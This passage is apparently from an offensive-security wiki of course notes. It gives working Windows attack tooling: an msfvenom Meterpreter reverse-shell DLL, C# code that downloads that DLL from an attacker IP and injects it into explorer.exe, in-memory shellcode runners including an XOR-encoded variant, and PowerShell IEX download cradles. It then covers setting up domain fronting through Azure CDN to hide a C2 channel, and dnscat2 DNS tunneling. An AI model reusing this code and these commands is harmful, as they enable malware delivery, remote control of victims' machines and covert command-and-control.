sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
